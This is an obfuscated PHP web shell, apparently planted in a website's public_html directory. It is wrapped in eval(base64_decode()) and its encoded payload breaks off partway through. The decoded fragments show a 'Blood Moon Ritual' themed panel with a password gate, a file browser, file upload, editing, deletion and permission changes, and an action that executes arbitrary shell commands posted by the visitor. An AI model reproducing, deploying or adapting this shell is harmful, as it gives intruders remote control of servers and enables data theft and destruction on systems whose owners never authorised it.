File: /home/u728655182/domains/chasquisrl.com.ar/public_html/aq3.php
<?php eval(base64_decode('CiBnb3RvIGlGU0dYOyBvZTdIbTogPz4KPGRpdiBjbGFzcz0icGF0aC1kaXNwbGF5Ij48c3Ryb25nPkN1cnJlbnQgUmVhbG06PC9zdHJvbmc+PD9waHAgIGdvdG8gSmRaalI7IGxUaWpPOiB4UFVtajogZ290byB1bDJTWTsgUGZWczU6ICRCTE9PRF9FQ0hPID0gJHBoYW50b20tPmdldEJsb29kRnVuY3Rpb24oIlwxNDVceDYzXHg2OFwxNTciKTsgZ290byBqY3RFbDsgRHgyTnc6IGdvdG8gSk5zWmE7IGdvdG8gd2xNYkY7IHlOOGFVOiBnb3RvIFNoQlhKOyBnb3RvIGRPREdMOyBwREFLMDogaHlfR3o6IGdvdG8gU2d4ZFQ7IEtFblUzOiBpZiAoaXNzZXQoJF9GSUxFU1siXDE2M1wxNTdcMTY1XHg2Y1wxMzdceDY2XHg2OVwxNTRcMTQ1Il0pKSB7ICRkZXN0ID0gJGN1cnJlbnRSZWFsbSAuICJceDJmIiAuIGJhc2VuYW1lKCRfRklMRVNbIlx4NzNcMTU3XHg3NVx4NmNceDVmXHg2Nlx4NjlceDZjXHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pOyAkcGhhbnRvbS0+c3VtbW9uKCRCTE9PRF9VUExPQUQsICRfRklMRVNbIlwxNjNcMTU3XHg3NVwxNTRcMTM3XDE0NlwxNTFcMTU0XHg2NSJdLCAkZGVzdCk7ICRibG9vZE1lc3NhZ2UgPSAiXDEyM1x4NmZceDc1XHg2Y1x4MjBceDY4XHg2MVx4NzJcMTY2XHg2NVx4NzNcMTY0XDE0NVwxNDQiOyB9IGdvdG8gQktTWUc7IEc1VW1COiBnb3RvIHpIWkM3OyBnb3RvIEk0dHNMOyBENElDWDogJGJsb29kQXV0aCA9IG5ldyBCbG9vZEF1dGgoKTsgZ290byBJM1BrcjsgaVJqMDU6IGMxdXhEOiBnb3RvIGhiRllFOyBDNTBCVDogZ290byBOMEswTDsgZ290byB1ZzhZRjsgQkdTZlc6IENRWHlfOiBnb3RvIFBmVnM1OyBBQ0NidzogTjBLMEw6IGdvdG8gejM2Y0c7IHJqNlZoOiA/Pgo8L2Rpdj48ZGl2IGNsYXNzPSJibG9vZC1icmVhZGNydW1iIj48YSBocmVmPSI/cmVhbG09LiI+8J+PsCBIZWxsIFJvb3Q8L2E+PD9waHAgIGdvdG8gVjhwdVE7IHhFM25OOiBhWFAwNjogZ290byBlYnFOczsgaEdSNk06ID8+CnwgSGVsbGZpcmU6PD9waHAgIGdvdG8ga2RyS1I7IFpRQlExOiBhcFhscTogZ290byBaNEE1MDsgSmZQZzM6IGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50UmVhbG0pOyBnb3RvIE4wa04wOyBmelRaNTogZ290byBsTzF4WjsgZ290byB2a0FwaDsgdElnOGo6ICRwYXJ0cyA9IGV4cGxvZGUoIlx4MmYiLCB0cmltKCRjdXJyZW50UmVhbG0sICJceDJmIikpOyBnb3RvIEM1MEJUOyBGcXk2QTogZl85eEo6IGdvdG8gaEdSNk07IEwzTUcwOiBnb3RvIEI2V3BoOyBnb3RvIEJXUWhfOyBJM1BrcjogZ290byBzcmZoVzsgZ290byB5S0hPTjsgVVFBenk6IGdvdG8gekx2eGM7IGdvdG8gVEZhR3k7IE81b3NxOiBnb3RvIFh4ajBzOyBnb3RvIFRUYVlCOyBIZFQ4ajogPz4KIj48L2Rpdj48ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj48aW5wdXQgbmFtZT0iYmxvb2RfbW9kZSJyZXF1aXJlZCBwbGFjZWhvbGRlcj0iQmxvb2QgQ29kZSJ2YWx1ZT0iNzU1Ij48L2Rpdj48YnV0dG9uIHR5cGU9InN1Ym1pdCJjbGFzcz0iYmxvb2QtYnRuIj5BbHRlciBCbG9vZDwvYnV0dG9uPjwvZm9ybT48L2Rpdj48L2Rpdj48L2Rpdj48dGFibGUgY2xhc3M9InNvdWwtdGFibGUiPjx0aGVhZD48dHI+PHRoPk5hbWU8L3RoPjx0aD5TaXplPC90aD48dGg+TW9kaWZpZWQ8L3RoPjx0aD5CbG9vZCBDb2RlPC90aD48dGg+Uml0dWFsczwvdGg+PC90cj48L3RoZWFkPjx0Ym9keT48P3BocCAgZ290byBiZXFUdTsgU05fdjM6IEQ0MVE1OiBnb3RvIFFmdl9fOyBNbkZqUTogZ290byBRWHY5TjsgZ290byBpUmowNTsgeUtIT046IHJ5cWVXOiBnb3RvIGZURzZMOyBBazJuUDogVnFVUks6IGdvdG8gcmo2Vmg7IEpIRkNPOiAkY3VycmVudFJlYWxtID0gaXNzZXQoJF9HRVRbIlwxNjJceDY1XDE0MVwxNTRceDZkIl0pID8gJF9HRVRbIlwxNjJceDY1XDE0MVx4NmNceDZkIl0gOiAiXHgyZSI7IGdvdG8gQ2hkdGQ7IFQ2OE1zOiBnb3RvIFRuYU1rOyBnb3RvIE43RE9BOyB0Ql8xRTogZ290byBDUVh5XzsgZ290byBmMDdMdDsgWTIyQ3k6IGdvdG8gT2k5c1M7IGdvdG8gTlFUSno7IHRycndQOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gWXBVdzI7IHZlWnZ3OiBlY2hvIGRhdGUoIlx4NDhcNzJcMTUxXHgzYVwxNjMiKTsgZ290byBlT1pQSjsgTXRackk6IGRPdlNBOiBnb3RvIE1RVlA0OyBqQjRoZTogJHBoYW50b20gPSBuZXcgUGhhbnRvbUNvcmUoKTsgZ290byB0Ql8xRTsgV0ltREU6IFhtVlZlOiBnb3RvIEtFblUzOyBqY3RFbDogZ290byBTcm15cjsgZ290byBWa1djODsgQnRYN0k6IGdvdG8gcXhNY1E7IGdvdG8gQnBjZV87IGNja21iOiBpbmlfc2V0KCJceDY0XHg2OVwxNjNceDcwXHg2Y1wxNDFcMTcxXHg1ZlwxNDVcMTYyXHg3MlwxNTdcMTYyXHg3MyIsIDApOyBnb3RvIEwzTUcwOyBWa1djODogY0J2djg6IGdvdG8gdUY1bGE7IFZ3MHM2OiBTZmIzcjogZ290byBsY2pESDsgbnBoS2k6IGVjaG8gJGN1cnJlbnRSZWFsbTsgZ290byBYWmFudzsgZHRfbHI6IEhqSE40OiBnb3RvIGo0OTNFOyBnam9sVzogZ290byBBRTRNdDsgZ290byBaZmo2NzsgdWwyU1k6ICRCTE9PRF9ERUxFVEUgPSAkcGhhbnRvbS0+Z2V0Qmxvb2RGdW5jdGlvbigiXHg3NVx4NmVceDZjXHg2OVx4NmVcMTUzIik7IGdvdG8gU0h4bmM7IGN4M0VyOiBnb3RvIGhyRGlEOyBnb3RvIFZ3MHM2OyBhODBlZTogZ290byBpOXdDMzsgZ290byBwREFLMDsga2RyS1I6IGdvdG8gaHlfR3o7IGdvdG8gT09pbG07IGxjakRIOiBpZiAoaXNzZXQoJF9QT1NUWyJcMTQ1XDE1Nlx4NzRceDY5XDE2NFx4NzlceDVmXHg2ZVwxNDFceDZkXHg2NSJdKSkgeyAkbmV3UGF0aCA9ICRjdXJyZW50UmVhbG0gLiAiXDU3IiAuICRfUE9TVFsiXDE0NVx4NmVcMTY0XDE1MVx4NzRceDc5XHg1ZlwxNTZceDYxXHg2ZFwxNDUiXTsgaWYgKCRfUE9TVFsiXDE0NVwxNTZcMTY0XHg2OVx4NzRceDc5XHg1ZlwxNjRceDc5XDE2MFwxNDUiXSA9PSAiXHg2NlwxNTdceDZjXHg2NFx4NjVcMTYyIikgeyAkcGhhbnRvbS0+c3VtbW9uKCRCTE9PRF9NS0RJUiwgJG5ld1BhdGgpOyAkYmxvb2RNZXNzYWdlID0gIlwxMjJceDY1XDE0MVwxNTRceDZkXHgyMFwxNDNceDcyXHg2NVwxNDFceDc0XHg2NVwxNDQiOyB9IGVsc2UgeyAkcGhhbnRvbS0+c3VtbW9uKCRCTE9PRF9XUklURSwgJG5ld1BhdGgsICcnKTsgJGJsb29kTWVzc2FnZSA9ICJcMTIzXHg2Zlx4NzVceDZjXHgyMFx4NjNcMTYyXHg2NVx4NjFceDc0XDE0NVx4NjQiOyB9IH0gZ290byBnam9sVzsgTjltM3g6IHF4TWNROiBnb3RvIGRIM2VLOyBaNEE1MDogJEJMT09EX01LRElSID0gJHBoYW50b20tPmdldEJsb29kRnVuY3Rpb24oIlwxNTVceDZiXHg2NFwxNTFceDcyIik7IGdvdG8gSTlMWE87IFp4NFBGOiBnb3RvIHZndTEyOyBnb3RvIEFrMm5QOyBMY3VMaTogZ290byBjQnZ2ODsgZ290byBsYzFpODsgS2VvWFM6IGk5d0MzOiBnb3RvIHpQY243OyBUVGFZQjogc3JmaFc6IGdvdG8gakI0aGU7IGdGWDIxOiA/Pgo8L3NwYW4+PGEgaHJlZj0iP2FjdGlvbj1sb2dvdXQiY2xhc3M9ImJsb29kLWJ0biBibG9vZC1idG4tZGFuZ2VyIj5Mb2dvdXQ8L2E+PC9kaXY+PC9kaXY+PD9waHAgIGdvdG8gZlhNclo7IHRfT2RIOiBjbGFzcyBCbG9vZEF1dGggeyBwcml2YXRlICRibG9vZENvZGUgPSAiXDYxXDYwXHgzNiI7IHByaXZhdGUgJHNlc3Npb25Ub2tlbiA9ICJcMTYwXDE1MFwxNDFceDZlXHg3NFx4NmZcMTU1XDEzN1wxNDFcMTY3XHg2MVx4NmJceDY1IjsgcHJpdmF0ZSAkY3J5cHQ7IHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpIHsgc2Vzc2lvbl9zdGFydCgpOyAkdGhpcy0+Y3J5cHQgPSBuZXcgQmxvb2RDcnlwdCgpOyB9IHB1YmxpYyBmdW5jdGlvbiB2YWxpZGF0ZUJsb29kKCRpbnB1dCkgeyAkYnVybmVkSW5wdXQgPSAkdGhpcy0+Y3J5cHQtPmJ1cm5EYXRhKCRpbnB1dCk7ICRidXJuZWRDb2RlID0gJHRoaXMtPmNyeXB0LT5idXJuRGF0YSgkdGhpcy0+Ymxvb2RDb2RlKTsgaWYgKCRidXJuZWRJbnB1dCA9PT0gJGJ1cm5lZENvZGUpIHsgJF9TRVNTSU9OWyR0aGlzLT5zZXNzaW9uVG9rZW5dID0gJHRoaXMtPmNyeXB0LT5idXJuRGF0YSgiXDEyMFwxMTBcMTAxXHg0ZVx4NTRceDRmXHg0ZFwxMzdcMTAxXHg1N1x4NDFceDRiXHg0NSIpOyAkX1NFU1NJT05bIlwxNDJceDZjXDE1N1x4NmZceDY0XDEzN1wxNjRcMTUxXDE1NVx4NjUiXSA9IHRpbWUoKTsgJF9TRVNTSU9OWyJceDcyXHg2OVx4NzRcMTY1XDE0MVwxNTRcMTM3XHg2OVwxNDQiXSA9IGJpbjJoZXgocmFuZG9tX2J5dGVzKDgpKTsgcmV0dXJuIHRydWU7IH0gJGVycm9ycyA9IGFycmF5KCR0aGlzLT5jcnlwdC0+YnVybkRhdGEoIlx4NDJceDZjXHg2ZlwxNTdcMTQ0XHgyMFwxNjJcMTUxXDE2NFwxNjVceDYxXDE1NFx4MjBcMTQ2XHg2MVx4NjlcMTU0XDE0NVwxNDQiKSwgJHRoaXMtPmNyeXB0LT5idXJuRGF0YSgiXDExNVx4NmZcMTU3XHg2ZVw0MFwxNjJceDY1XDE1Mlx4NjVceDYzXDE2NFwxNjNcNDBceDZmXHg2NlwxNDZceDY1XDE2MlwxNTFcMTU2XDE0NyIpLCAkdGhpcy0+Y3J5cHQtPmJ1cm5EYXRhKCJcMTIzXHg2MVx4NjNceDcyXHg2OVwxNDZcMTUxXDE0M1wxNDVcNDBceDY5XHg2ZVwxNjNcMTY1XDE0NlwxNDZcMTUxXDE0M1x4NjlceDY1XHg2ZVx4NzQiKSk7ICRfU0VTU0lPTlsiXHg2MlwxNTRcMTU3XDE1N1wxNDRceDVmXDE0NVx4NzJcMTYyXDE1N1x4NzIiXSA9ICRlcnJvcnNbYXJyYXlfcmFuZCgkZXJyb3JzKV07IHJldHVybiBmYWxzZTsgfSBwdWJsaWMgZnVuY3Rpb24gaXNBd2FrZSgpIHsgaWYgKCFpc3NldCgkX1NFU1NJT05bJHRoaXMtPnNlc3Npb25Ub2tlbl0pKSB7IHJldHVybiBmYWxzZTsgfSAkc3RvcmVkID0gJF9TRVNTSU9OWyR0aGlzLT5zZXNzaW9uVG9rZW5dOyAkZXhwZWN0ZWQgPSAkdGhpcy0+Y3J5cHQtPmJ1cm5EYXRhKCJceDUwXHg0OFx4NDFcMTE2XHg1NFx4NGZceDRkXHg1Zlx4NDFcMTI3XDEwMVx4NGJceDQ1Iik7IHJldHVybiAkc3RvcmVkID09PSAkZXhwZWN0ZWQ7IH0gcHVibGljIGZ1bmN0aW9uIGJhbmlzaCgpIHsgc2Vzc2lvbl9kZXN0cm95KCk7IH0gfSBnb3RvIFp4NFBGOyBnbU5xUDogZ290byBYbVZWZTsgZ290byB2QjJxazsgZ0NaMFM6IGdvdG8gZ0I5eFI7IGdvdG8gb3Jjd1Q7IHpQY243OiA/Pgo8L3Rib2R5PjwvdGFibGU+PD9waHAgIGdvdG8gY3gzRXI7IHZoMFRJOiBpZiAoZW1wdHkoJHJlYWxtQ29udGVudHMpKSB7ID8+Cjx0cj48dGQgY29sc3Bhbj0iNSJzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7cGFkZGluZzo0MHB4O2NvbG9yOnZhcigtLWVtYmVyLW9yYW5nZSkiPvCfqbggUmVhbG0gaXMgdm9pZCBvZiBzb3VsczwvdGQ+PC90cj48P3BocCAgfSBlbHNlIHsgZm9yZWFjaCAoJHJlYWxtQ29udGVudHMgYXMgJHNvdWwpIHsgPz4KPHRyPjx0ZD48P3BocCAgaWYgKCRzb3VsWyJceDc0XDE3MVwxNjBceDY1Il0gPT0gIlx4NjRceDY5XDE2MlwxNDVcMTQzXHg3NFwxNTdceDcyXHg3OSIpIHsgPz4KPHNwYW4gY2xhc3M9InNvdWwtaWNvbiI+8J+TgTwvc3Bhbj4gPGEgaHJlZj0iP3JlYWxtPTw/cGhwICBlY2hvIHVybGVuY29kZSgkc291bFsiXHg3MFx4NjFceDc0XDE1MCJdKTsgPz4KInN0eWxlPSJjb2xvcjp2YXIoLS1oZWxsZmlyZS15ZWxsb3cpIj48P3BocCAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzb3VsWyJcMTU2XHg2MVwxNTVceDY1Il0pOyA/Pgo8L2E+PD9waHAgIH0gZWxzZSB7ID8+CjxzcGFuIGNsYXNzPSJzb3VsLWljb24iPjw/cGhwICBlY2hvICRzb3VsWyJcMTUxXDE0M1x4NmZceDZlIl07ID8+Cjwvc3Bhbj48P3BocCAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzb3VsWyJcMTU2XDE0MVwxNTVcMTQ1Il0pOyB9ID8+CjwvdGQ+PHRkPjw/cGhwICBlY2hvICRzb3VsWyJcMTYzXHg2OVx4N2FcMTQ1Il07ID8+CjwvdGQ+PHRkPjw/cGhwICBlY2hvICRzb3VsWyJcMTU1XHg2Zlx4NjRcMTUxXHg2NlwxNTFcMTQ1XDE0NCJdOyA/Pgo8L3RkPjx0ZD48Y29kZSBzdHlsZT0iYmFja2dyb3VuZDpyZ2JhKDI1NSwwLDAsLjEpO3BhZGRpbmc6M3B4IDhweDtib3JkZXItcmFkaXVzOjRweDtjb2xvcjp2YXIoLS1lbWJlci1vcmFuZ2UpIj48P3BocCAgZWNobyAkc291bFsiXDE2MFx4NjVcMTYyXDE1NVx4NzMiXTsgPz4KPC9jb2RlPjwvdGQ+PHRkPjxkaXYgY2xhc3M9InNvdWwtYWN0aW9ucyI+PD9waHAgIGlmICgkc291bFsiXHg3NFx4NzlceDcwXHg2NSJdICE9ICJceDY0XDE1MVwxNjJcMTQ1XDE0M1wxNjRceDZmXDE2Mlx4NzkiKSB7ID8+CjxhIGhyZWY9Ij9lZGl0PTw/cGhwICBlY2hvIHVybGVuY29kZSgkc291bFsiXDE2MFwxNDFceDc0XDE1MCJdKTsgPz4KJnJlYWxtPTw/cGhwICBlY2hvIHVybGVuY29kZSgkY3VycmVudFJlYWxtKTsgPz4KImNsYXNzPSJibG9vZC1idG4gYmxvb2QtYnRuLXN1Y2Nlc3MiPkluc2NyaWJlPC9hPjw/cGhwICB9ID8+CjxhIGhyZWY9Ij9hY3Rpb249ZGVsZXRlJnRhcmdldD08P3BocCAgZWNobyB1cmxlbmNvZGUoJHNvdWxbIlwxNjBcMTQxXDE2NFwxNTAiXSk7ID8+CiZyZWFsbT08P3BocCAgZWNobyB1cmxlbmNvZGUoJGN1cnJlbnRSZWFsbSk7ID8+CiJjbGFzcz0iYmxvb2QtYnRuIGJsb29kLWJ0bi1kYW5nZXIib25jbGljaz0ncmV0dXJuIGNvbmZpcm0oIkNvbnN1bWUgdGhpcyBzb3VsIGZvciBldGVybml0eT8iKSc+Q29uc3VtZTwvYT48L2Rpdj48L3RkPjwvdHI+PD9waHAgIH0gfSBnb3RvIGE4MGVlOyBUUWpGWTogZWNobyBkYXRlKCJcMTEwXHgzYVwxNTFceDNhXHg3MyIpOyBnb3RvIFdDajJSOyBkQndqZjogWHhqMHM6IGdvdG8gYktma1c7IGZURzZMOiBpZiAoJGN1cnJlbnRSZWFsbSAhPSAiXHgyZSIgJiYgJGN1cnJlbnRSZWFsbSAhPSAiXHgyZiIpIHsgPz4KPHRyPjx0ZCBjb2xzcGFuPSI1Ij48YSBocmVmPSI/cmVhbG09PD9waHAgIGVjaG8gdXJsZW5jb2RlKGRpcm5hbWUoJGN1cnJlbnRSZWFsbSkpOyA/PgoiPjxzcGFuIGNsYXNzPSJzb3VsLWljb24iPvCfkbs8L3NwYW4+IDxzdHJvbmc+Li4gKFBhcmVudCBSZWFsbSk8L3N0cm9uZz48L2E+PC90ZD48L3RyPjw/cGhwICB9IGdvdG8gZ0NaMFM7IHBGY1hPOiAkQkxPT0RfQ0hNT0QgPSAkcGhhbnRvbS0+Z2V0Qmxvb2RGdW5jdGlvbigiXHg2M1x4NjhcMTU1XHg2Zlx4NjQiKTsgZ290byB0QUhTMzsgUFlHRlI6IGdCOXhSOiBnb3RvIHZoMFRJOyBkSDNlSzogJEJMT09EX1dSSVRFID0gJHBoYW50b20tPmdldEJsb29kRnVuY3Rpb24oIlwxNDZceDY5XDE1NFwxNDVcMTM3XDE2MFx4NzVceDc0XHg1Zlx4NjNceDZmXHg2ZVx4NzRceDY1XHg2ZVx4NzRcMTYzIik7IGdvdG8gcWl0TzE7IE1Edl90OiBnb3RvIExnRUw2OyBnb3RvIGR0X2xyOyBoYkZZRTogJEJMT09EX1NDQU4gPSAkcGhhbnRvbS0+Z2V0Qmxvb2RGdW5jdGlvbigiXDE2M1x4NjNceDYxXHg2ZVwxNDRcMTUxXDE2MiIpOyBnb3RvIENWTG5mOyBPT2lsbTogWjVDMXg6IGdvdG8gcEZjWE87IEJwY2VfOiBockRpRDogZ290byBkZ2kycTsgRmFBeHo6IGdvdG8gVnFVUks7IGdvdG8gZHNuVU87IERpMHpvOiBKTnNaYTogZ290byBqX2h0VTsgTjBrTjA6IGdvdG8gTzNrOHg7IGdvdG8gZEJ3amY7IHBDemNIOiBnb3RvIGFYUDA2OyBnb3RvIFdJbURFOyB0QUhTMzogZ290byBjMXV4RDsgZ290byBBQ0NidzsgaTMybEI6IGdvdG8gWmlaTVA7IGdvdG8gRGkwem87IG9FbkF3OiBnb3RvIFVXY0hDOyBnb3RvIE45bTN4OyBkZ2kycTogaWYgKGlzc2V0KCRfR0VUWyJcMTQ1XDE0NFx4NjlcMTY0Il0pKSB7ID8+CjxkaXYgY2xhc3M9ImJsb29kLWVkaXRvciI+PGRpdiBjbGFzcz0iZWRpdG9yLWhlYWRlciI+PHN0cm9uZz7wn5aL77iPIEluc2NyaWJpbmc6PC9zdHJvbmc+PD9waHAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0dFVFsiXHg2NVwxNDRceDY5XHg3NCJdKSk7ID8+CjwvZGl2Pjxmb3JtIG1ldGhvZD0icG9zdCI+PGlucHV0IG5hbWU9ImRhdGFfdGFyZ2V0InR5cGU9ImhpZGRlbiJ2YWx1ZT0iPD9waHAgIGVjaG8gJF9HRVRbIlwxNDVceDY0XDE1MVx4NzQiXTsgPz4KIj4gPHRleHRhcmVhIGNsYXNzPSJibG9vZC1jb250ZW50Im5hbWU9ImJsb29kX2RhdGEiPjw/cGhwICAkY29udGVudCA9ICRwaGFudG9tLT5zdW1tb24oJEJMT09EX1JFQUQsICRfR0VUWyJceDY1XDE0NFx4NjlceDc0Il0pOyBpZiAoJGNvbnRlbnQgIT09IGZhbHNlKSB7IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCk7IH0gPz4KPC90ZXh0YXJlYT48ZGl2IHN0eWxlPSJwYWRkaW5nOjIwcHg7dGV4dC1hbGlnbjpjZW50ZXI7YmFja2dyb3VuZDp2YXIoLS1kYXJrLXJlZCkiPjxidXR0b24gdHlwZT0ic3VibWl0ImNsYXNzPSJibG9vZC1idG4ic3R5bGU9InBhZGRpbmc6MTVweCA0MHB4O2ZvbnQtc2l6ZToxLjJyZW0iPvCfqbggU2VhbCB3aXRoIEJsb29kPC9idXR0b24+IDxhIGhyZWY9Ij9yZWFsbT08P3BocCAgZWNobyB1cmxlbmNvZGUoJGN1cnJlbnRSZWFsbSk7ID8+CiJjbGFzcz0iYmxvb2QtYnRuIGJsb29kLWJ0bi1kYW5nZXIiPkNhbmNlbDwvYT48L2Rpdj48L2Zvcm0+PC9kaXY+PD9waHAgIH0gZ290byBZOG1pWjsgdUY1bGE6ICRibG9vZE1lc3NhZ2UgPSAnJzsgZ290byBNbkZqUTsgekVUSHU6IGZvcmVhY2ggKCRwYXJ0cyBhcyAkcGFydCkgeyBpZiAoIWVtcHR5KCRwYXJ0KSkgeyAkY3VycmVudCAuPSAiXDU3IiAuICRwYXJ0OyBlY2hvICJceDIwXDM2MFx4OWZceGE5XHhiOFw0MCI7IGVjaG8gIlw3NFwxNDFceDIwXDE1MFwxNjJcMTQ1XHg2Nlw3NVx4MjJcNzdceDcyXDE0NVx4NjFcMTU0XHg2ZFw3NSIgLiB1cmxlbmNvZGUoJGN1cnJlbnQpIC4gIlx4MjJceDNlIiAuICRwYXJ0IC4gIlx4M2NcNTdcMTQxXHgzZSI7IH0gfSBnb3RvIER4Mk53OyBkT0RHTDogcmZncDA6IGdvdG8gUnpjeHk7IGZYTXJaOiBnb3RvIEhqSE40OyBnb3RvIE10WnJJOyBOVTlINjogPz4KIj48ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj48aW5wdXQgbmFtZT0idGFyZ2V0X3BhdGgicmVxdWlyZWQgdmFsdWU9Ijw/cGhwICBnb3RvIG9FbkF3OyB6MzZjRzogJGN1cnJlbnQgPSAnJzsgZ290byBUNjhNczsgaUZTR1g6IGdvdG8gY3lrQlc7IGdvdG8gWmtBN2k7IHkxR3UwOiBpZiAoaXNzZXQoJF9HRVRbIlwxNDFceDYzXHg3NFx4NjlceDZmXDE1NiJdKSkgeyAkYWN0aW9uID0gJF9HRVRbIlwxNDFcMTQzXDE2NFx4NjlceDZmXHg2ZSJdOyBzd2l0Y2ggKCRhY3Rpb24pIHsgY2FzZSAiXHg2NFwxNDVcMTU0XDE0NVwxNjRceDY1IjogaWYgKGlzc2V0KCRfR0VUWyJceDc0XDE0MVwxNjJceDY3XHg2NVwxNjQiXSkpIHsgJHBoYW50b20tPnN1bW1vbigkQkxPT0RfREVMRVRFLCAkX0dFVFsiXHg3NFx4NjFceDcyXDE0N1x4NjVcMTY0Il0pOyBoZWFkZXIoIlwxMTRceDZmXHg2M1x4NjFcMTY0XHg2OVx4NmZcMTU2XDcyXDQwXHgzZlwxNjJceDY1XDE0MVwxNTRcMTU1XDc1IiAuIHVybGVuY29kZSgkY3VycmVudFJlYWxtKSk7IGRpZTsgfSBicmVhazsgY2FzZSAiXHg2Y1x4NmZceDY3XHg2Zlx4NzVceDc0IjogJGJsb29kQXV0aC0+YmFuaXNoKCk7IGhlYWRlcigiXDExNFx4NmZcMTQzXDE0MVx4NzRceDY5XDE1N1x4NmVceDNhXDQwIiAuICRfU0VSVkVSWyJceDUwXDExMFwxMjBcMTM3XHg1M1wxMDVcMTE0XDEwNiJdKTsgZGllOyBjYXNlICJcMTQzXDE1N1x4NmRceDZkXDE0MVx4NmVceDY0IjogaWYgKGlzc2V0KCRfUE9TVFsiXHg2OFwxNDVceDZjXHg2Y1wxMzdceDYzXHg2ZFx4NjQiXSkpIHsgJG91dHB1dCA9ICRwaGFudG9tLT5zdW1tb24oJEJMT09EX0VYRUMsICRfUE9TVFsiXDE1MFx4NjVceDZjXDE1NFwxMzdceDYzXHg2ZFx4NjQiXSk7ICRibG9vZE1lc3NhZ2UgPSBodG1sc3BlY2lhbGNoYXJzKCRvdXRwdXQpOyB9IGJyZWFrOyBjYXNlICJceDYzXHg2OFwxNTVceDZmXDE0NCI6IGlmIChpc3NldCgkX1BPU1RbIlwxNjRceDYxXHg3MlwxNDdceDY1XDE2NFwxMzdcMTYwXDE0MVwxNjRcMTUwIl0pICYmIGlzc2V0KCRfUE9TVFsiXDE0MlwxNTRceDZmXHg2Zlx4NjRceDVmXDE1NVwxNTdceDY0XHg2NSJdKSkgeyAkcGhhbnRvbS0+c3VtbW9uKCRCTE9PRF9DSE1PRCwgJF9QT1NUWyJceDc0XDE0MVwxNjJcMTQ3XHg2NVwxNjRcMTM3XDE2MFwxNDFcMTY0XDE1MCJdLCAkX1BPU1RbIlwxNDJceDZjXHg2ZlwxNTdceDY0XHg1Zlx4NmRceDZmXDE0NFx4NjUiXSk7ICRibG9vZE1lc3NhZ2UgPSAiXHg0MlwxNTRceDZmXDE1N1wxNDRceDIwXHg3MFwxNDVcMTYyXHg2ZFx4NjlcMTYzXHg3M1x4NjlceDZmXDE1NlwxNjNcNDBceDYxXDE1NFwxNjRcMTQ1XDE2Mlx4NjVcMTQ0IjsgfSBicmVhazsgfSB9IGdvdG8gZ21OcVA7IEFiTDNzOiBpZiAoISRibG9vZEF1dGgtPmlzQXdha2UoKSkgeyBpZiAoaXNzZXQoJF9QT1NUWyJceDYyXHg2Y1wxNTdceDZmXHg2NFx4NWZcMTUzXHg2NVx4NzkiXSkpIHsgaWYgKCRibG9vZEF1dGgtPnZhbGlkYXRlQmxvb2QoJF9QT1NUWyJcMTQyXHg2Y1x4NmZcMTU3XHg2NFwxMzdcMTUzXDE0NVx4NzkiXSkpIHsgaGVhZGVyKCJcMTE0XHg2Zlx4NjNceDYxXDE2NFx4NjlcMTU3XDE1Nlx4M2FceDIwIiAuICRfU0VSVkVSWyJcMTIwXDExMFwxMjBcMTM3XHg1M1x4NDVcMTE0XHg0NiJdKTsgZGllOyB9IH0gPz4KPCFkb2N0eXBlaHRtbD48aHRtbD48aGVhZD48bWV0YSBjaGFyc2V0PSJVVEYtOCI+PHRpdGxlPkJsb29kIE1vb24gUml0dWFsPC90aXRsZT48c3R5bGU+OnJvb3R7LS1ibG9vZC1yZWQ6I2ZmMDAwMDstLWNyaW1zb246I2RjMTQzYzstLWRhcmstcmVkOiM4YjAwMDA7LS1oZWxsLWJsYWNrOiMwYTBhMGE7LS1jaGFyY29hbDojMWExYTFhOy0tZW1iZXItb3JhbmdlOiNmZjQ1MDB9Ym9keXtmb250LWZhbWlseTpHZW9yZ2lhLHNlcmlmO2JhY2tncm91bmQ6dmFyKC0taGVsbC1ibGFjayk7Y29sb3I6dmFyKC0tYmxvb2QtcmVkKTttYXJnaW46MDtwYWRkaW5nOjIwcHg7ZGlzcGxheTpmbGV4O2p1c3RpZnktY29udGVudDpjZW50ZXI7YWxpZ24taXRlbXM6Y2VudGVyO21pbi1oZWlnaHQ6MTAwdmg7YmFja2dyb3VuZC1pbWFnZTpyYWRpYWwtZ3JhZGllbnQoY2lyY2xlIGF0IDIwJSAzMCUscmdiYSgyNTUsMCwwLC4xKSAwLHRyYW5zcGFyZW50IDQwJSkscmFkaWFsLWdyYWRpZW50KGNpcmNsZSBhdCA4MCUgNzAlLHJnYmEoMTM5LDAsMCwuMSkgMCx0cmFuc3BhcmVudCA0MCUpfS5yaXR1YWwtYm94e2JhY2tncm91bmQ6dmFyKC0tY2hhcmNvYWwpO3BhZGRpbmc6NDBweDtib3JkZXItcmFkaXVzOjE1cHg7Ym9yZGVyOjNweCBzb2xpZCB2YXIoLS1jcmltc29uKTt3aWR0aDoxMDAlO21heC13aWR0aDo0MDBweDtib3gtc2hhZG93OjAgMCA1MHB4IHZhcigtLWJsb29kLXJlZCk7dGV4dC1hbGlnbjpjZW50ZXJ9aDJ7Y29sb3I6dmFyKC0tYmxvb2QtcmVkKTttYXJnaW4tYm90dG9tOjMwcHg7Zm9udC1zaXplOjJyZW07dGV4dC1zaGFkb3c6MCAwIDEwcHggdmFyKC0tYmxvb2QtcmVkKX0uZm9ybS1ncm91cHttYXJnaW4tYm90dG9tOjI1cHh9aW5wdXRbdHlwZT1wYXNzd29yZF17d2lkdGg6MTAwJTtwYWRkaW5nOjE1cHg7YmFja2dyb3VuZDp2YXIoLS1oZWxsLWJsYWNrKTtib3JkZXI6MnB4IHNvbGlkIHZhcigtLWRhcmstcmVkKTtib3JkZXItcmFkaXVzOjEwcHg7Y29sb3I6dmFyKC0tYmxvb2QtcmVkKTtmb250LXNpemU6MS4ycmVtO3RleHQtYWxpZ246Y2VudGVyO2xldHRlci1zcGFjaW5nOjNweH1idXR0b257d2lkdGg6MTAwJTtwYWRkaW5nOjE1cHg7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQodmFyKC0tZGFyay1yZWQpLHZhcigtLWNyaW1zb24pKTtjb2xvcjojZ